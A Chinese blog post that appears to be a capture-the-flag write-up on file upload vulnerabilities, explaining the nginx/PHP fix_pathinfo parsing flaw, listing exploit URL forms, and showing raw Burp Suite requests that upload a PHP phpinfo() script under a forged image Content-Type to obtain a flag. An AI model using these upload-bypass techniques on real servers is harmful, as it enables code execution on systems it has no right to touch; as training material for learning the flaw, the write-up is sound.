美文网首页Web writeup
Web安全 - 文件上传

Web安全 - 文件上传

作者: 语落心生 | 来源:发表于2017-08-02 22:34 被阅读0次

    文件上传漏洞是指用户上传了一个可执行的脚本文件并通过此脚本文件获得了执行服务器端命令的能力,文件上传本身没有问题,有问题的是文件上传后服务器怎么处理、解释文件。应用场景出口

    对于文件上传,有以下几种解决思路:

    • 上传文件WEB脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行;
    • 上传文件FLASH策略文件crossdomain.xml,以此来控制Flash在该域下的行为;
    • 上传文件是病毒、木马文件,攻击者用以诱骗用户或管理员下载执行;
    • 上传文件是钓鱼图片或为包含了脚本的图片,某些浏览器会作为脚本执行,实施钓鱼或欺诈

    Network preview:查看到场景服务器为 nginx

    nginx.jpg

    渗透思路:伪装文件后缀,根据服务器漏洞解析

    nginx漏洞原理
     Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发PHP中的如下逻辑:
    PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

    漏洞形式: www.xxxx.com/UploadFiles/image/1.jpg/1.php www.xxxx.com/UploadFiles/image/1.jpg%00.php www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

    实现漏洞:,修改文件为1.jpg.php,请求体Content-Type节设置为image/jpeg

    在本地部署完burpsuite进行渗透:Request部分

    POST / HTTP/1.1
    Host: 103.238.227.13:10085
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Content-Type: multipart/form-data; boundary=---------------------------31440985419813
    Content-Length: 199
    Referer: http://103.238.227.13:10085/
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    -----------------------------31440985419813
    Content-Disposition: form-data; name="file"; filename="1.jpg.php"
    Content-Type: image/jpeg
    
    -----------------------------31440985419813--
    

    获得的Response请求体:

    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 02 Aug 2017 13:53:01 GMT
    Content-Type: text/html; charset=utf-8
    Connection: close
    Vary: Accept-Encoding
    X-Powered-By: PHP/7.0.7
    Content-Length: 15
    
    ����件
    

    咋一看最后一行像是flag,修改Request Accept-Charset节,reonload

    Request

    POST / HTTP/1.1
    Host: 103.238.227.13:10085
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Content-Type: multipart/form-data; boundary=---------------------------31440985419813
    Content-Length: 208
    Referer: http://103.238.227.13:10085/
    Connection: Keep-Alive
    Upgrade-Insecure-Requests: 1
    
    -----------------------------31440985419813
    Content-Disposition: form-data; name="file"; filename="1.php"
    Content-Type: image/jpeg
    
    <?php
    phpinfo();
    ?>
    -----------------------------31440985419813--
    

    Response:

    HTTP/1.1 200 OK
    Server: nginx
    Date: Wed, 02 Aug 2017 14:32:49 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Vary: Accept-Encoding
    X-Powered-By: PHP/7.0.7
    Content-Length: 37
    
    Flag:42e97d465f962c53df9549377b513c7e
    

    相关文章

      网友评论

        本文标题:Web安全 - 文件上传

        本文链接:https://www.haomeiwen.com/subject/ofoylxtx.html